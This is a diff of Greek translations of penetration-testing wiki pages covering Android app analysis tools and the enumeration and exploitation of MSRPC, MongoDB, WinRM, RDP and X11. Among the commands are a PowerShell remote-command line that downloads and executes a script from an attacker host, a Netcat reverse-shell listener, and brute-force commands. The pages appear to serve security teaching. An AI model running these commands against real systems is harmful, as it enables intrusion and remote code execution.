![](<../../.gitbook/assets/image (866).png>)
**Αξιολόγηση ευπαθειών της εφαρμογής** χρησιμοποιώντας ένα ωραίο web-based frontend. Μπορείτε επίσης να εκτελέσετε δυναμική ανάλυση (αλλά πρέπει να προετοιμάσετε το περιβάλλον).
**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Οι εφαρμογές Windows πρέπει να αναλυθούν από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
@ -648,13 +648,13 @@ receivers
```
**HTTP εργαλεία**
Όταν η κίνηση http καταγράφεται, μπορείτε να δείτε μια άσχημη προβολή της καταγεγραμμένης κίνησης στο "**HTTP(S) Traffic**" κάτω ή μια πιο ωραία προβολή στο "**Start HTTPTools**" πράσινο κουμπί. Από τη δεύτερη επιλογή, μπορείτε να **στείλετε** τα **καταγεγραμμένα αιτήματα** σε **proxy** όπως το Burp ή το Owasp ZAP.\
Όταν η κίνηση http καταγράφεται, μπορείτε να δείτε μια άσχημη εικόνα της καταγεγραμμένης κίνησης στο "**HTTP(S) Traffic**" κάτω ή μια πιο ωραία εικόνα στο "**Start HTTPTools**" πράσινο κουμπί. Από τη δεύτερη επιλογή, μπορείτε να **στείλετε** τα **καταγεγραμμένα αιτήματα** σε **proxy** όπως το Burp ή το Owasp ZAP.\
Για να το κάνετε αυτό, νεργοποιήστε το Burp -->_ _απενεργοποιήστε την Παρεμβολή --> στο MobSB HTTPTools επιλέξτε το αίτημα_ --> πατήστε "**Send to Fuzzer**" --> _επιλέξτε τη διεύθυνση proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Αφού ολοκληρώσετε την δυναμική ανάλυση με το MobSF, μπορείτε να πατήσετε το "**Start Web API Fuzzer**" για να **fuzz http αιτήματα** και να αναζητήσετε ευπάθειες.
{% hint style="info" %}
Μετά την εκτέλεση μιας δυναμικής ανάλυσης με το MobSF, οι ρυθμίσεις proxy μπορεί να είναι λανθασμένες και δεν θα μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις proxy κάνοντας:
Μετά την εκτέλεση μιας δυναμικής ανάλυσης με το MobSF, οι ρυθμίσεις του proxy μπορεί να είναι λανθασμένες και δεν θα μπορείτε να τις διορθώσετε από το GUI. Μπορείτε να διορθώσετε τις ρυθμίσεις του proxy κάνοντας:
```
adb shell settings put global http_proxy :0
```
@ -662,7 +662,7 @@ adb shell settings put global http_proxy :0
### Assisted Dynamic Analysis with Inspeckage
Μπορείτε να αποκτήσετε το εργαλείο από [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Μπορείτε να αποκτήσετε το εργαλείο από το [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Αυτό το εργαλείο θα χρησιμοποιήσει μερικά **Hooks** για να σας ενημερώσει **τι συμβαίνει στην εφαρμογή** ενώ εκτελείτε μια **dynamic analysis**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -673,7 +673,7 @@ adb shell settings put global http_proxy :0
### [Qark](https://github.com/linkedin/qark)
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **σχετικές με την ασφάλεια ευπάθειες εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **ADB commands**, για να εκμεταλλευτεί ορισμένες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμής.
Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **ADB commands**, για να εκμεταλλευτεί ορισμένες από τις βρεθείσες ευπάθειες (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμής.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -683,7 +683,7 @@ qark --java path/to/specific/java/file.java
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
* Εμφανίζει όλα τα εξαγόμενα αρχεία για εύκολη αναφορά
* Αυτόματα αποσυμπιέζει αρχεία APK σε μορφή Java και Smali
* Αυτόματα αποσυμπιέζει τα αρχεία APK σε μορφή Java και Smali
* Αναλύει το AndroidManifest.xml για κοινές ευπάθειες και συμπεριφορές
* Στατική ανάλυση πηγαίου κώδικα για κοινές ευπάθειες και συμπεριφορές
* Πληροφορίες συσκευής
@ -697,7 +697,7 @@ SUPER είναι μια εφαρμογή γραμμής εντολών που μ
Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής θα μπορούσε να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται.
Κατεβάστε τα τελευταία δυαδικά αρχεία από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html)
Κατεβάστε τα τελευταία δυαδικά από τη [σελίδα λήψης](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -705,7 +705,7 @@ super-analyzer {apk_file}
![](<../../.gitbook/assets/image (297).png>)
Το StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, κυνηγούς bugbounty και ηθικούς χάκερ να εκτελούν [static code analysis](https://en.wikipedia.org/wiki/Static\_program\_analysis) σε κινητές εφαρμογές.
Το StaCoAn είναι ένα **crossplatform** εργαλείο που βοηθά προγραμματιστές, κυνηγούς bugbounty και ηθικούς χάκερ να εκτελούν [στατική ανάλυση κώδικα](https://en.wikipedia.org/wiki/Static\_program\_analysis) σε κινητές εφαρμογές.
Η έννοια είναι ότι σύρετε και αποθέτετε το αρχείο της κινητής σας εφαρμογής (ένα αρχείο .apk ή .ipa) στην εφαρμογή StaCoAn και θα δημιουργήσει μια οπτική και φορητή αναφορά για εσάς. Μπορείτε να προσαρμόσετε τις ρυθμίσεις και τις λίστες λέξεων για να αποκτήσετε μια εξατομικευμένη εμπειρία.
@ -715,7 +715,7 @@ super-analyzer {apk_file}
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
Το AndroBugs Framework είναι ένα σύστημα ανάλυσης ευπαθειών Android που βοηθά τους προγραμματιστές ή τους χάκερ να εντοπίσουν πιθανές ευπάθειες ασφαλείας σε εφαρμογές Android.\
Το AndroBugs Framework είναι ένα σύστημα ανάλυσης ευπαθειών Android που βοηθά τους προγραμματιστές ή τους χάκερ να βρουν πιθανές ευπάθειες ασφαλείας σε εφαρμογές Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
```
python androbugs.py -f [APK file]
@ -725,7 +725,7 @@ androbugs.exe -f [APK file]
**Androwarn** είναι ένα εργαλείο του οποίου ο κύριος στόχος είναι να ανιχνεύσει και να προειδοποιήσει τον χρήστη για πιθανές κακόβουλες συμπεριφορές που αναπτύσσονται από μια εφαρμογή Android.
Η ανίχνευση πραγματοποιείται με την **στατική ανάλυση** του Dalvik bytecode της εφαρμογής, που εκπροσωπείται ως **Smali**, με τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
Η ανίχνευση πραγματοποιείται με την **στατική ανάλυση** του Dalvik bytecode της εφαρμογής, που αναπαρίσταται ως **Smali**, με τη βιβλιοθήκη [`androguard`](https://github.com/androguard/androguard).
Αυτό το εργαλείο αναζητά **συνηθισμένες συμπεριφορές "κακών" εφαρμογών** όπως: Εξαγωγή τηλεφωνικών αναγνωριστικών, Παρεμβολή ροής ήχου/βίντεο, Τροποποίηση δεδομένων PIM, Εκτέλεση αυθαίρετου κώδικα...
```
@ -774,7 +774,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [DeGuard](http://apk-deguard.com)
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης του Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
@ -784,7 +784,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [APKiD](https://github.com/rednaga/APKiD)
Το APKiD σας δίνει πληροφορίες για **το πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **εργαλεία απόκρυψης**, και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
### Manual
@ -800,7 +800,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Είναι μια εξαιρετική λίστα πόρων
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Γρήγορο μάθημα Android
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Γρήγορος οδηγός Android
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
* [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
@ -810,7 +810,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -62,40 +62,40 @@ use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
```
All options except `tcp_dcerpc_auditor` είναι ειδικά σχεδιασμένες για στοχοποίηση του MSRPC στην πόρτα 135.
All options except `tcp_dcerpc_auditor` είναι ειδικά σχεδιασμένα για στοχοποίηση MSRPC στην πόρτα 135.
#### Σημαντικά RPC interfaces
#### Σημαντικά διεπαφές RPC
* **IFID**: 12345778-1234-abcd-ef00-0123456789ab
* **Named Pipe**: `\pipe\lsarpc`
* **Description**: Διεπαφή LSA, χρησιμοποιείται για την καταμέτρηση χρηστών.
* **Περιγραφή**: Διεπαφή LSA, χρησιμοποιείται για την καταμέτρηση χρηστών.
* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
* **Named Pipe**: `\pipe\lsarpc`
* **Description**: Διεπαφή Υπηρεσιών Καταλόγου LSA (DS), χρησιμοποιείται για την καταμέτρηση τομέων και σχέσεων εμπιστοσύνης.
* **Περιγραφή**: Διεπαφή Υπηρεσιών Καταλόγου LSA (DS), χρησιμοποιείται για την καταμέτρηση τομέων και σχέσεων εμπιστοσύνης.
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
* **Named Pipe**: `\pipe\samr`
* **Description**: Διεπαφή LSA SAMR, χρησιμοποιείται για την πρόσβαση σε δημόσια στοιχεία βάσης δεδομένων SAM (π.χ., ονόματα χρηστών) και για brute-force κωδικούς πρόσβασης χρηστών ανεξαρτήτως πολιτικής κλειδώματος λογαριασμού.
* **Περιγραφή**: Διεπαφή LSA SAMR, χρησιμοποιείται για την πρόσβαση σε δημόσια στοιχεία βάσης δεδομένων SAM (π.χ., ονόματα χρηστών) και για brute-force κωδικούς πρόσβασης χρηστών ανεξαρτήτως πολιτικής κλειδώματος λογαριασμού.
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
* **Named Pipe**: `\pipe\atsvc`
* **Description**: Προγραμματιστής εργασιών, χρησιμοποιείται για την απομακρυσμένη εκτέλεση εντολών.
* **Περιγραφή**: Προγραμματιστής εργασιών, χρησιμοποιείται για την απομακρυσμένη εκτέλεση εντολών.
* **IFID**: 338cd001-2244-31f1-aaaa-900038001003
* **Named Pipe**: `\pipe\winreg`
* **Description**: Υπηρεσία απομακρυσμένου μητρώου, χρησιμοποιείται για την πρόσβαση και τροποποίηση του μητρώου συστήματος.
* **Περιγραφή**: Υπηρεσία απομακρυσμένου μητρώου, χρησιμοποιείται για την πρόσβαση και τροποποίηση του μητρώου συστήματος.
* **IFID**: 367abb81-9844-35f1-ad32-98f038001003
* **Named Pipe**: `\pipe\svcctl`
* **Description**: Διαχειριστής ελέγχου υπηρεσιών και υπηρεσίες διακομιστή, χρησιμοποιούνται για την απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και την εκτέλεση εντολών.
* **Περιγραφή**: Διαχειριστής ελέγχου υπηρεσιών και υπηρεσίες διακομιστή, χρησιμοποιούνται για την απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και την εκτέλεση εντολών.
* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
* **Named Pipe**: `\pipe\srvsvc`
* **Description**: Διαχειριστής ελέγχου υπηρεσιών και υπηρεσίες διακομιστή, χρησιμοποιούνται για την απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και την εκτέλεση εντολών.
* **Περιγραφή**: Διαχειριστής ελέγχου υπηρεσιών και υπηρεσίες διακομιστή, χρησιμοποιούνται για την απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και την εκτέλεση εντολών.
* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
* **Named Pipe**: `\pipe\epmapper`
* **Description**: Διεπαφή DCOM, χρησιμοποιείται για brute-force κωδικούς πρόσβασης και συλλογή πληροφοριών μέσω WM.
* **Περιγραφή**: Διεπαφή DCOM, χρησιμοποιείται για brute-force κωδικούς πρόσβασης και συλλογή πληροφοριών μέσω WM.
### Αναγνώριση διευθύνσεων IP
Χρησιμοποιώντας [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), που προέρχεται από [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), είναι δυνατή η κατάχρηση της μεθόδου _**ServerAlive2**_ μέσα στη διεπαφή _**IOXIDResolver**_.
Χρησιμοποιώντας [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), προέρχεται από [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/) είναι δυνατή η κατάχρηση της μεθόδου _**ServerAlive2**_ μέσα στη διεπαφή _**IOXIDResolver**_.
Αυτή η μέθοδος έχει χρησιμοποιηθεί για να αποκτήσει πληροφορίες διεπαφής ως **IPv6** διεύθυνση από το κουτί HTB _APT_. Δείτε [εδώ](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) για την αναφορά του 0xdf APT, περιλαμβάνει μια εναλλακτική μέθοδο χρησιμοποιώντας rpcmap.py από [Impacket](https://github.com/SecureAuthCorp/impacket/) με _stringbinding_ (βλ. παραπάνω).
Αυτή η μέθοδος έχει χρησιμοποιηθεί για να αποκτήσει πληροφορίες διεπαφής ως **IPv6** διεύθυνση από το κουτί HTB _APT_. Δείτε [εδώ](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) για την αναφορά 0xdf APT, περιλαμβάνει μια εναλλακτική μέθοδο χρησιμοποιώντας rpcmap.py από [Impacket](https://github.com/SecureAuthCorp/impacket/) με _stringbinding_ (βλέπε παραπάνω).
### Εκτέλεση RCE με έγκυρα διαπιστευτήρια
@ -117,7 +117,7 @@ All options except `tcp_dcerpc_auditor` είναι ειδικά σχεδιασμ
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -39,7 +39,7 @@ PORT STATE SERVICE VERSION
```
## Enumeration
### Χειροκίνητη
### Manual
```python
from pymongo import MongoClient
client = MongoClient(host, port, username=username, password=password)
@ -82,13 +82,13 @@ mongo <HOST>:<PORT>
mongo <HOST>:<PORT>/<DB>
mongo <database> -u <username> -p '<password>'
```
Το σενάριο nmap: _**mongodb-brute**_ θα ελέγξει αν απαιτούνται διαπιστευτήρια.
Το nmap script: _**mongodb-brute**_ θα ελέγξει αν απαιτούνται διαπιστευτήρια.
```bash
nmap -n -sV --script mongodb-brute -p 27017 <ip>
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mongo)
Κοίτα μέσα στο _/opt/bitnami/mongodb/mongodb.conf_ για να δεις αν χρειάζονται διαπιστευτήρια:
Κοίτα μέσα στο _/opt/bitnami/mongodb/mongodb.conf_ για να δεις αν απαιτούνται διαπιστευτήρια:
```bash
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
@ -108,7 +108,7 @@ Mongo Object IDs είναι **12-byte hexadecimal** strings:
3. 2500: Αναγνωριστικό Διαδικασίας
4. 314019: Ένας αυξανόμενος μετρητής
Από τα παραπάνω στοιχεία, το αναγνωριστικό μηχανής θα παραμείνει το ίδιο όσο η βάση δεδομένων εκτελείται στην ίδια φυσική/εικονική μηχανή. Το αναγνωριστικό διαδικασίας θα αλλάξει μόνο αν η διαδικασία MongoDB επανεκκινηθεί. Η χρονική σήμανση θα ενημερώνεται κάθε δευτερόλεπτο. Η μόνη πρόκληση στο να μαντέψετε τα Object IDs απλά αυξάνοντας τις τιμές του μετρητή και της χρονικής σήμανσης, είναι το γεγονός ότι η Mongo DB δημιουργεί Object IDs και ανα assigns Object IDs σε επίπεδο συστήματος.
Από τα παραπάνω στοιχεία, το αναγνωριστικό μηχανής θα παραμείνει το ίδιο όσο η βάση δεδομένων εκτελείται στην ίδια φυσική/εικονική μηχανή. Το αναγνωριστικό διαδικασίας θα αλλάξει μόνο αν η διαδικασία MongoDB επανεκκινηθεί. Η χρονική σήμανση θα ενημερώνεται κάθε δευτερόλεπτο. Η μόνη πρόκληση στην εκτίμηση των Object IDs απλά αυξάνοντας τις τιμές του μετρητή και της χρονικής σήμανσης, είναι το γεγονός ότι η Mongo DB δημιουργεί Object IDs και ανα assigns Object IDs σε επίπεδο συστήματος.
Το εργαλείο [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), δεδομένου ενός αρχικού Object ID (μπορείτε να δημιουργήσετε έναν λογαριασμό και να αποκτήσετε ένα αρχικό ID), επιστρέφει περίπου 1000 πιθανά Object IDs που θα μπορούσαν να έχουν ανατεθεί στα επόμενα αντικείμενα, οπότε απλά χρειάζεται να τα brute force.
@ -118,7 +118,7 @@ Mongo Object IDs είναι **12-byte hexadecimal** strings:
***
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -48,7 +48,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Αυτή η προσέγγιση περιλαμβάνει την προσθήκη ενός wildcard στη ρύθμιση `trustedhosts`, ένα βήμα που απαιτεί προσεκτική εξέταση λόγω των επιπτώσεών του. Επίσης, σημειώνεται ότι η αλλαγή του τύπου δικτύου από "Δημόσιο" σε "Εργασία" μπορεί να είναι απαραίτητη στον υπολογιστή του επιτιθέμενου.
Αυτή η προσέγγιση περιλαμβάνει την προσθήκη ενός wildcard στη ρύθμιση `trustedhosts`, ένα βήμα που απαιτεί προσεκτική εξέταση λόγω των επιπτώσεών του. Επίσης, σημειώνεται ότι η αλλαγή του τύπου δικτύου από "Δημόσιο" σε "Εργασία" μπορεί να είναι απαραίτητη στη μηχανή του επιτιθέμενου.
Επιπλέον, το WinRM μπορεί να **ενεργοποιηθεί απομακρυσμένα** χρησιμοποιώντας την εντολή `wmic`, όπως φαίνεται παρακάτω:
```powershell
@ -92,9 +92,9 @@ Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-c
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Πάρε μια PS συνεδρία
### Απόκτηση PS συνεδρίας
Για να αποκτήσεις μια διαδραστική PowerShell shell, χρησιμοποίησε `Enter-PSSession`:
Για να αποκτήσετε μια διαδραστική PowerShell shell, χρησιμοποιήστε `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -121,7 +121,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Αποθήκευση και Επαναφορά συνεδριών
### Saving and Restoring sessions
Αυτό **δεν θα λειτουργήσει** αν η **γλώσσα** είναι **περιορισμένη** στον απομακρυσμένο υπολογιστή.
```powershell
@ -150,7 +150,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -169,7 +169,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
### Brute Force
Προσοχή, η βίαιη επίθεση στο winrm μπορεί να αποκλείσει χρήστες.
Προσοχή, η βίαιη προσπάθεια πρόσβασης στο winrm μπορεί να αποκλείσει χρήστες.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -304,18 +304,18 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Ενημερώσεις για το Χάκινγκ**\
**Επιγνώσεις Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Νέα Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και επιγνώσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι για τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας
Μείνετε ενημερωμένοι για τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετάσχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -62,7 +62,7 @@ $ xxd ~/.Xauthority
Για να **χρησιμοποιήσετε το cookie** θα πρέπει να ορίσετε τη μεταβλητή περιβάλλοντος: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
#### Τοπική Συνεδρία Αρίθμησης
#### Τοπική Συνεδρία Καταμέτρησης
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
@ -143,9 +143,9 @@ msf> use exploit/unix/x11/x11_keyboard_exec
```bash
./xrdp.py \<IP:0> no-disp
```
Στη διεπαφή μπορείτε να δείτε την επιλογή **R-shell**.
Στην διεπαφή μπορείτε να δείτε την επιλογή **R-shell**.
Στη συνέχεια, ξεκινήστε έναν **Netcat listener** στο τοπικό σας σύστημα στην πόρτα 5555.
Στη συνέχεια, ξεκινήστε έναν **Netcat listener** στο τοπικό σας σύστημα στην θύρα 5555.
```bash
nc -lvp 5555
```
@ -161,32 +161,32 @@ nc -lvp 5555
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Ενημερώσεις για hacking**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Νέα hacking σε πραγματικό χρόνο**\
